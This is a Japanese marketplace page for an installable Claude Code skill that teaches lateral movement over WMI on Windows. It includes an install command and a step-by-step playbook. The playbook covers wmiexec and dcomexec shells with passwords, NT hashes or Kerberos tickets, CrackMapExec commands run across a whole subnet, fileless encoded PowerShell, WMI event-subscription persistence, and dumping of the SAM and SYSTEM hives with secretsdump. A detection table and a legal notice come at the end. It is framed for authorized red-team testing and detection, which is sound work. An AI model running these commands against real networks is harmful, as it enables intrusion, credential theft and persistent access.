mcpField
P
performing-lateral-movement-with-wmiexec

performing-lateral-movement-with-wmiexec

github.com/mukul975セキュリティ35.2k51 回インストール8 週間前に更新
リポジトリ

performing-lateral-movement-with-wmiexec について

WindowsシステムでWMIを使ったリモートコマンド実行と横展開を扱うセキュリティテスト用スキルです。許可を得たレッドチームやセキュリティテスター向けに、Impacket、CrackMapExec、標準WMIツールの手法と検知指標を説明します。

主な機能

  1. 01Impacket wmiexec.pyシェルの利用
  2. 02WMI経由のPass-the-Hash
  3. 03CrackMapExecによる複数対象実行
  4. 04標準PowerShell WMIコマンド
  5. 05WMI永続化の手法
  6. 06検知指標とログ

活用シーン

  1. 01許可されたWindowsネットワーク評価
  2. 02WMIベースのセキュリティ制御の検証
  3. 03WMIアクティビティ検知の確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-lateral-movement-with-wmiexec

インストール後、Claude Code で/performing-lateral-movement-with-wmiexecを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

詳細

WMIExec を使った水平移動の実施

法的通知: このスキルは、許可されたセキュリティテストおよび教育目的のみを想定しています。所有していないシステム、または書面による テストの許可を得ていないシステムに対して無断で使用することは違法であり、コンピュータ不正利用禁止法に違反するおそれがあります。

概要

WMI(Windows Management Instrumentation)は正規の Windows 管理フレームワークですが、レッドチームは、追加のサービスを展開せず、PsExec のような明白な痕跡も残さずにリモートでコマンドを実行できるため、水平移動に悪用します。Impacket の wmiexec.py は、Win32_Process.Create を通じてコマンドを実行し、ADMIN$ 共有上の一時ファイルを経由して出力を読み取ることで、WMI 上に準対話型シェルを作成します。PsExec と異なり、WMIExec は対象にサービスをインストールしないため、よりステルス性が高く、セキュリティアラートを発生させにくくなります。WMI ベースの水平移動は MITRE ATT&CK の T1047(Windows Management Instrumentation)に対応しており、APT29、APT32、Lazarus Group などの脅威アクターが利用しています。

使用するタイミング

  • wmiexec を使った水平移動を伴うセキュリティアセスメントを実施するとき
  • 関連するセキュリティイベントに対してインシデント対応手順に従うとき
  • 定期的なセキュリティテストや監査活動を実施するとき
  • 実地テストを通じてセキュリティ制御を検証するとき

前提条件

  • レッドチームの概念およびツールに関する基礎知識があること
  • 安全に実行するためのテスト環境またはラボ環境にアクセスできること
  • 必要な依存関係をインストールした Python 3.8 以降の環境があること
  • テスト活動に対する適切な許可を得ていること

目的

  • WMI ベースの手法を用いて Windows の対象にリモートでコマンドを実行する
  • Impacket の wmiexec.py を介して準対話型シェルを確立する
  • WMI を使ってパス・ザ・ハッシュによる水平移動を実施する
  • CrackMapExec を使って複数の対象に対して WMI コマンドを実行する
  • ファイルレスな水平移動のためにネイティブの PowerShell WMI コマンドを実行する
  • ネットワーク全体へのアクセスのために WMI と認証情報の収集を連携させる

MITRE ATT&CK マッピング

  • T1047 - Windows Management Instrumentation
  • T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
  • T1550.002 - Use Alternate Authentication Material: Pass the Hash
  • T1059.001 - Command and Scripting Interpreter: PowerShell
  • T1570 - Lateral Tool Transfer

ワークフロー

フェーズ 1: Impacket による WMIExec
  1. 認証情報を指定して準対話型シェルを実行する:
    # With cleartext password
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50
    
    # With NT hash (Pass-the-Hash)
    wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/[email protected]
    
    # With Kerberos ticket
    export KRB5CCNAME=admin.ccache
    wmiexec.py -k -no-pass domain.local/[email protected]
    
    # Execute specific command (non-interactive)
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
    
  2. 出力ファイルを使わずにコマンドを実行する(DCOM を使用するためよりステルス性が高い):
    # Using dcomexec.py as alternative (MMC20.Application DCOM object)
    dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
    
    # Using ShellWindows DCOM object
    dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
    
フェーズ 2: CrackMapExec による複数対象への実行
  1. 複数の対象に対してコマンドを実行する:
    # Execute single command on subnet
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
    
    # Execute with hash
    crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
    
    # Execute PowerShell command
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
    
    # Check local admin access via WMI
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
    
フェーズ 3: ネイティブ WMI コマンド(Windows)
  1. Windows に標準搭載の WMI ツールを使ってリモートでコマンドを実行する:
    # Using wmic.exe (deprecated but still available)
    wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
    
    # Using PowerShell Invoke-WmiMethod
    $cred = Get-Credential
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
    
    # Using CIM sessions (modern replacement for WMI)
    $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
    Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
      -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
    
  2. WMI を介したファイルレスな PowerShell 実行:
    # Execute encoded PowerShell command remotely
    $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "powershell.exe -enc $cmd"
    
フェーズ 4: WMI ベースの永続化
  1. 永続化のために WMI イベントサブスクリプションを作成する:
    # Create WMI event subscription (command runs on every logon)
    $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter `
      -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2";
                   QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
    
    $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer `
      -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"}
    
    Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding `
      -Arguments @{Filter=$filter; Consumer=$consumer}
    
フェーズ 5: 認証情報の収集との連携
  1. リモートでの認証情報の抽出に WMI を使用する:
    # Dump SAM hashes via WMI + reg save
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system"
    
    # Download saved hives
    smbclient.py domain.local/admin:'Password123'@10.10.10.50
    > get C:\temp\sam
    > get C:\temp\system
    
    # Extract hashes from saved hives
    secretsdump.py -sam sam -system system LOCAL
    

ツールとリソース

ツール用途プラットフォーム
wmiexec.py準対話型 WMI シェル(Impacket)Linux(Python)
dcomexec.pyDCOM ベースのリモート実行(Impacket)Linux(Python)
CrackMapExec複数対象に対する WMI 実行Linux(Python)
wmic.exeWindows 標準の WMI コマンドラインツールWindows
PowerShell CIM最新の WMI コマンドレットWindows
SharpWMI.NET ベースの WMI 実行ツールWindows(.NET)

WMI 実行手法の比較

手法サービスの作成出力方法ステルス性
wmiexec.pyなしADMIN$ 上の一時ファイル中
dcomexec.pyなしADMIN$ 上の一時ファイル中〜高
wmic.exeなしなし(ブラインド)またはリダイレクト中
PowerShell WMIなしなし(ブラインド)またはリダイレクト高
PsExec(比較対象)ありサービスの出力パイプ低

検出シグネチャ

指標検出方法
Win32_Process.Create の WMI 呼び出しWMI の親プロセスを伴うイベント 4688(プロセス作成)
ADMIN$ 上の WMI 一時出力ファイルADMIN$ 共有上の一時ファイルをファイル監視で検出
リモート WMI 接続(DCOM/135)ワークステーション宛ての DCOM トラフィックをネットワーク監視で検出
WmiPrvSE.exe による cmd.exe/powershell.exe の起動EDR のプロセスツリー分析
イベント 5857/5860/5861Microsoft-Windows-WMI-Activity の WMI アクティビティログ

検証基準

  • リモートターゲット上で WMIExec シェルを確立
  • WMI 経由の Pass-the-Hash 実行を検証
  • CrackMapExec WMI 経由で複数ターゲットに対するコマンド実行
  • ネイティブの PowerShell WMI コマンドをリモートで実行
  • WMI 実行チェーン経由で認証情報を窃取
  • ターゲットシステムにサービス作成の痕跡がないことを確認
  • コマンド出力とスクリーンショットを含む証拠を記録

コメント